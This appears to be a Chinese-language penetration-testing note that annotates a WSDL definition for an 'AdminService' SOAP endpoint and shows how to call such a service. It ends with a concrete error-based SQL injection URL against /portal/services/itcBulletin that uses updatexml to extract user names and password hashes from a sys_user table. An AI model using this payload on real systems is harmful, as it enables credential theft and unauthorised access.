<wsdl:definitionstargetNamespace="命名空间"> 用于定义 Web 服务中使用的复杂数据类型 <wsdl:types> <elementname="AdminService"type="xsd:anyType"/>xsd:anyType 是一个通用的类型,它表示可以接受任何数据类型的值 <elementname="AdminServiceReturn"type="xsd:anyType"/> </wsdl:types> 通信消息的数据结构的抽象类型化定义。使用Types所定义的类型来定义整个消息的数据结构体 <wsdl:messagename="AdminServiceRequest"> <wsdl:partelement="impl:AdminService"name="part"></wsdl:part> </wsdl:message> <wsdl:messagename="AdminServiceResponse"> 定义了一个消息,名为 AdminServiceResponse <wsdl:partelement="impl:AdminServiceReturn"name="AdminServiceReturn"></wsdl:part> </wsdl:message> WSDL 中用于描述 Web 服务接口中的的元素 <wsdl:portTypename="Admin"> <wsdl:operationname="AdminService">定义一个操作名称为AdminService <wsdl:inputmessage="impl:AdminServiceRequest"name="AdminServiceRequest"></wsdl:input>输入消息类型为AdminServiceRequest <wsdl:outputmessage="impl:AdminServiceResponse"name="AdminServiceResponse"></wsdl:output>输出消息类型为AdminServiceResponse </wsdl:operation> </wsdl:portType> 定义了 Web 服务操作与传输协议(SOAP)之间的映射。 <wsdl:bindingname="AdminServiceSoapBinding"type="impl:Admin">type 属性指定了绑定关联的 wsdl:portType <wsdlsoap:bindingstyle="document"transport="http://schemas.xmlsoap.org/soap/http"/>document: 是 SOAP 消息的标准格式,表示整个消息体将按照 XML 文档的格式进行传输 <wsdl:operationname="AdminService"> <wsdlsoap:operationsoapAction=""/> <wsdl:inputname="AdminServiceRequest"> <wsdlsoap:bodyuse="literal"/>literal表示消息体直接使用 XML 文档表示 </wsdl:input> <wsdl:outputname="AdminServiceResponse"> <wsdlsoap:bodyuse="literal"/> </wsdl:output> </wsdl:operation> </wsdl:binding> 定义了 Web 服务的 端点地址 <wsdl:servicename="AdminService"> <wsdl:portbinding="impl:AdminServiceSoapBinding"name="AdminService"> <wsdlsoap:addresslocation="http://**.***.***.cn/payment/services/AdminService"/>客户端将通过这个 URL 来访问 Web 服务 </wsdl:port> </wsdl:service>
</wsdl:definitions>
从service反着推就行了
使用soap协议访问
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
POST /portal/services/itcBulletin?wsdl HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Connection: close Content-Length: 345 Accept-Encoding: gzip
当然也可以使用RESTful风格直接访问/portal/services/itcBulletin/deleteBulletin/netMarkings/(updatexml(1%2Cconcat(0x7e%2C(select substr(group_concat(login_name%2C " "%2Clogin_pass)%2C1%2C30) from sys_user)%2C0x7e)%2C1))) and (1%3D1